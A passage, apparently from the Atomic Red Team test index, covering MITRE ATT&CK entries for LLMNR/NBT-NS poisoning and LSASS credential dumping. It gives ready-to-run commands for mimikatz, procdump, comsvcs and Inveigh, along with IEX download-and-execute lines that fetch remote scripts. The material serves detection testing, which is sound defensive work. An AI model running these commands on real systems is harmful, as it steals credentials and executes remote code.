          default: PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe})

          '
        prereq_command: 'if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"#{mimikatz_exe}\"
          | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
      executor:
        command: '"#{mimikatz_exe}" "crypto::certificates /systemstore:local_machine
          /store:my /export"  exit

          '
        name: command_prompt
        elevation_required: true
  T1557.001:
    technique:
      modified: '2023-04-25T14:00:00.188Z'
      name: 'Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'
      description: "By responding to LLMNR/NBT-NS network traffic, adversaries may
        spoof an authoritative source for name resolution to force communication with
        an adversary controlled system. This activity may be used to collect or relay
        authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR)
        and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve
        as alternate methods of host identification. LLMNR is based upon the Domain
        Name System (DNS) format and allows hosts on the same local link to perform
        name resolution for other hosts. NBT-NS identifies systems on a local network
        by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries
        can spoof an authoritative source for name resolution on a victim network
        by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know
        the identity of the requested host, effectively poisoning the service so that
        the victims will communicate with the adversary controlled system. If the
        requested host belongs to a resource that requires identification/authentication,
        the username and NTLMv2 hash will then be sent to the adversary controlled
        system. The adversary can then collect the hash information sent over the
        wire through tools that monitor the ports for traffic or through [Network
        Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes
        offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to
        obtain the plaintext passwords.\n\nIn some cases where an adversary has access
        to a system that is in the authentication path between systems or when automated
        scans that use credentials attempt to authenticate to an adversary controlled
        system, the NTLMv1/v2 hashes can be intercepted and relayed to access and
        execute code against a target system. The relay step can happen in conjunction
        with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM
        Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may
        encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB,
        MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral
        tools may be used to poison name services within local networks such as NBNSpoof,
        Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation:
        GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: |-
        Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)

        Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.

        Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.4'
      x_mitre_contributors:
      - Eric Kuehn, Secure Ideas
      - Matthew Demaske, Adaptforward
      - Andrew Allen, @whitehat_zero
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
      created: '2020-02-11T19:08:51.677Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1557/001
        external_id: T1557.001
      - source_name: Rapid7 LLMNR Spoofer
        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
        url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
      - source_name: GitHub Responder
        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
          2017.
        url: https://github.com/SpiderLabs/Responder
      - source_name: Secure Ideas SMB Relay
        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
          Should Be On Your Mind. Retrieved February 7, 2019.
        url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
      - source_name: TechNet NetBIOS
        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
          17, 2017.
        url: https://technet.microsoft.com/library/cc958811.aspx
      - source_name: GitHub NBNSpoof
        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
        url: https://github.com/nomex/nbnspoof
      - source_name: GitHub Conveigh
        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
          17, 2017.
        url: https://github.com/Kevin-Robertson/Conveigh
      - source_name: byt3bl33d3r NTLM Relaying
        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
          7, 2019.
        url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
      - source_name: Sternsecurity LLMNR-NBTNS
        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
          and NBT-NS Poisoning. Retrieved November 17, 2017.'
        url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
      - source_name: Wikipedia LLMNR
        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
          Retrieved November 17, 2017.
        url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.0.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1557.001
    atomic_tests:
    - name: LLMNR Poisoning with Inveigh (PowerShell)
      auto_generated_guid: deecd55f-afe0-4a62-9fba-4d1ba2deb321
      description: Inveigh conducts spoofing attacks and hash/credential captures
        through both packet sniffing and protocol specific listeners/sockets. This
        Atomic will run continuously until you cancel it or it times out.
      supported_platforms:
      - windows
      executor:
        command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing)
          Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y
        name: powershell
        elevation_required: true
  T1003.001:
    technique:
      modified: '2023-12-27T17:57:20.003Z'
      name: 'OS Credential Dumping: LSASS Memory'
      description: |
        Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).

        As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

        For example, on the target host use procdump:

        * <code>procdump -ma lsass.exe lsass_dump</code>

        Locally, mimikatz can be run using:

        * <code>sekurlsa::Minidump lsassdump.dmp</code>
        * <code>sekurlsa::logonPasswords</code>

        Built-in Windows tools such as `comsvcs.dll` can also be used:

        * <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)

        Similar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)

        Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

        The following SSPs can be used to access credentials:

        * Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
        * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
        * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
        * CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Edward Millington
      - Ed Williams, Trustwave, SpiderLabs
      - Olaf Hartong, Falcon Force
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.

        On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.

        Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90
      created: '2020-02-11T18:41:44.783Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1003/001
        external_id: T1003.001
      - source_name: Medium Detecting Attempts to Steal Passwords from Memory
        description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
      - source_name: Deep Instinct LSASS
        description: Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier
          than Ever Before - Part 2. Retrieved December 27, 2023.
        url: https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2
      - source_name: Graeber 2014
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
      - source_name: Volexity Exchange Marauder March 2021
        description: 'Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder:
          Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities.
          Retrieved March 3, 2021.'
        url: https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
      - source_name: Powersploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        url: https://github.com/mattifestation/PowerSploit
      - source_name: Symantec Attacks Against Government Sector
        description: Symantec. (2021, June 10). Attacks Against the Government Sector.
          Retrieved September 28, 2021.
        url: https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
      - source_name: TechNet Blogs Credential Protection
        description: Wilson, B. (2016, April 18). The Importance of KB2871997 and
          KB2928120 for Credential Protection. Retrieved April 11, 2018.
        url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1003.001
    atomic_tests:
    - name: Dump LSASS.exe Memory using ProcDump
      auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
        ProcDump.

        Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

        If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path where resulting dump should be placed
          type: path
          default: C:\Windows\Temp\lsass_dump.dmp
        procdump_exe:
          description: Path of Procdump executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\procdump.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'ProcDump tool from Sysinternals must exist on disk at specified
          location (#{procdump_exe})

          '
        prereq_command: 'if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
          New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
      executor:
        command: '"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}

          '
        cleanup_command: 'del "#{output_file}" >nul 2> nul

          '
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using comsvcs.dll
      auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

        Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
      supported_platforms:
      - windows
      executor:
        command: 'C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll,
          MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

          '
        cleanup_command: 'Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Dump LSASS.exe Memory using direct system calls and API unhooking
      auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d
      description: "The memory of lsass.exe is often dumped for offline credential
        theft attacks. This can be achieved using direct system calls and API unhooking
        in an effort to avoid detection. \nhttps://github.com/outflanknl/Dumpert\nhttps://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\nUpon
        successful execution, you should see the following file created C:\\\\windows\\\\temp\\\\dumpert.dmp.\n\nIf
        you see a message saying \\\"The system cannot find the path specified.\\\",
        try using the  get-prereq_commands to download the  tool first.\n"
      supported_platforms:
      - windows
      input_arguments:
        dumpert_exe:
          description: Path of Dumpert executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\Outflank-Dumpert.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Dumpert executable must exist on disk at specified location
          (#{dumpert_exe})

          '
        prereq_command: 'if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-Null
          Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile "#{dumpert_exe}"
      executor:
        command: '"#{dumpert_exe}"

          '
        cleanup_command: 'del C:\windows\temp\dumpert.dmp >nul 2> nul

          '
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using NanoDump
      auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea
      description: |
        The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

        https://github.com/helpsystems/nanodump

        Upon successful execution, you should find the nanondump.dmp file in the temp directory
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'NanoDump executable must exist on disk at specified location
          (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)

          '
        prereq_command: 'if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)
          {exit 0} else {exit 1}

          '
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item
          -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction
          Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/fortra/nanodump/blob/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe\"
          -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe\"
          \n"
      executor:
        command: 'PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"

          '
        cleanup_command: 'del "%temp%\nanodump.dmp" >nul 2> nul

          '
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using Windows Task Manager
      auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
        Manager and administrative permissions.
      supported_platforms:
      - windows
      executor:
        steps: |
          1. Open Task Manager:
            On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking
            on the task bar and selecting "Task Manager".

          2. Select lsass.exe:
            If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe
            and select it for manipulation.

          3. Dump lsass.exe memory:
            Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.
        name: manual
    - name: Offline Credential Theft With Mimikatz
      auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
        Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path of the Lsass dump
          type: path
          default: "%tmp%\\lsass.DMP"
        mimikatz_exe:
          description: Path of the Mimikatz binary
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe})

          '
        prereq_command: 'if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"#{mimikatz_exe}\"
          | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
      - description: 'Lsass dump must exist at specified location (#{input_file})

          '
        prereq_command: 'cmd /c "if not exist #{input_file} (exit /b 1)"

          '
        get_prereq_command: 'Write-Host "Create the lsass dump manually using the
          steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"

          '
      executor:
        command: '"#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords
          full" exit

          '
        name: command_prompt
        elevation_required: true
    - name: LSASS read with pypykatz
      auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8
      description: |
        Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

        Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

        Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

        Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
      supported_platforms:
      - windows
      input_arguments:
        venv_path:
          description: Path to the folder for the tactics venv
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1003_001
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must have python 3 installed

          '
        prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit
          0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
          Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
      - description: 'Computer must have venv configured at #{venv_path}

          '
        prereq_command: 'if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit
          1 }

          '
        get_prereq_command: 'py -m venv "#{venv_path}"

          '
      - description: "pypykatz must be installed \n"
        prereq_command: 'if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction
          SilentlyContinue) { exit 0 } else { exit 1 }

          '
        get_prereq_command: '& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir
          pypykatz 2>&1 | Out-Null

          '
      executor:
        command: "\"#{venv_path}\\Scripts\\pypykatz\" live lsa \n"
        cleanup_command: 'del "%temp%\nanodump.dmp" > nul 2> nul

          '
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using Out-Minidump.ps1
      auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
        powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
        Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

        Author of Out-Minidump: Matthew Graeber (@mattifestation)
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
          catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
          get-process lsass | Out-Minidump
        cleanup_command: 'Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Create Mini Dump of LSASS.exe using ProcDump
      auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
        ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

        Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

        If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path where resulting dump should be placed
          type: path
          default: C:\Windows\Temp\lsass_dump.dmp
        procdump_exe:
          description: Path of Procdump executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\procdump.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'ProcDump tool from Sysinternals must exist on disk at specified
          location (#{procdump_exe})

          '
        prereq_command: 'if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
          New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
      executor:
        command: '"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}

          '
        cleanup_command: 'del "#{output_file}" >nul 2> nul

          '
        name: command_prompt
        elevation_required: true
    - name: Powershell Mimikatz
      auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc
      description: "Dumps credentials from memory via Powershell by invoking a remote
        mimikatz script.\nIf Mimikatz runs successfully you will see several usernames
        and hashes output to the screen.\nCommon failures include seeing an \\\"access
        denied\\\" error which results when Anti-Virus blocks execution. \nOr, if
        you try to run the test without the required administrative privileges you
        will see this error near the bottom of the output to the screen \"ERROR kuhl_m_sekurlsa_acquireLSA\"\n"
      supported_platforms:
      - windows
      input_arguments:
        remote_script:
          description: URL to a remote Mimikatz script that dumps credentials
          type: url
          default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1
      executor:
        command: 'IEX (New-Object Net.WebClient).DownloadString(''#{remote_script}'');
          Invoke-Mimikatz -DumpCreds

          '
        name: powershell
        elevation_required: true
    - name: Dump LSASS with createdump.exe from .Net v5
      auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0
      description: |
        Use createdump executable from .NET to create an LSASS dump.

        [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net v5 must be installed\n"
        prereq_command: |
          $exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
          if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}
        get_prereq_command: 'winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements
          --accept-package-agreements --silent

          '
      executor:
        command: |
          $exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
          & "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
        cleanup_command: 'Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Dump LSASS.exe using imported Microsoft DLLs
      auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697
      description: "The memory of lsass.exe is often dumped for offline credential
        theft attacks. This can be achieved by\nimporting built-in DLLs and calling
        exported functions. Xordump will re-read the resulting minidump \nfile and
        delete it immediately to avoid brittle EDR detections that signature lsass
        minidump files.\n\nUpon successful execution, you should see the following
        file created $env:TEMP\\lsass-xordump.t1003.001.dmp.\n"
      supported_platforms:
      - windows
      input_arguments:
        xordump_exe:
          description: Path to xordump
          type: path
          default: C:\Windows\Temp\xordump.exe
        output_file:
          description: Path where resulting dump should be placed
          type: path
          default: C:\Windows\Temp\lsass-xordump.t1003.001.dmp
      dependencies:
      - description: 'Computer must have xordump.exe

          '
        prereq_command: 'if (Test-Path ''#{xordump_exe}'') {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}
      executor:
        command: "#{xordump_exe} -out #{output_file} -x 0x41\n"
        cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Dump LSASS.exe using lolbin rdrleakdiag.exe
      auto_generated_guid: 47a539d1-61b9-4364-bf49-a68bc2a95ef0
      description: "The memory of lsass.exe is often dumped for offline credential
        theft attacks. \nThis can be achieved with lolbin rdrleakdiag.exe. \n\nUpon
        successful execution, you should see the following files created, $env:TEMP\\minidump_<PID>.dmp
        and  $env:TEMP\\results_<PID>.hlk.\n"
      supported_platforms:
      - windows
      executor:
        command: "if (Test-Path -Path \"$env:SystemRoot\\System32\\rdrleakdiag.exe\")
          {\n      $binary_path = \"$env:SystemRoot\\System32\\rdrleakdiag.exe\"\n
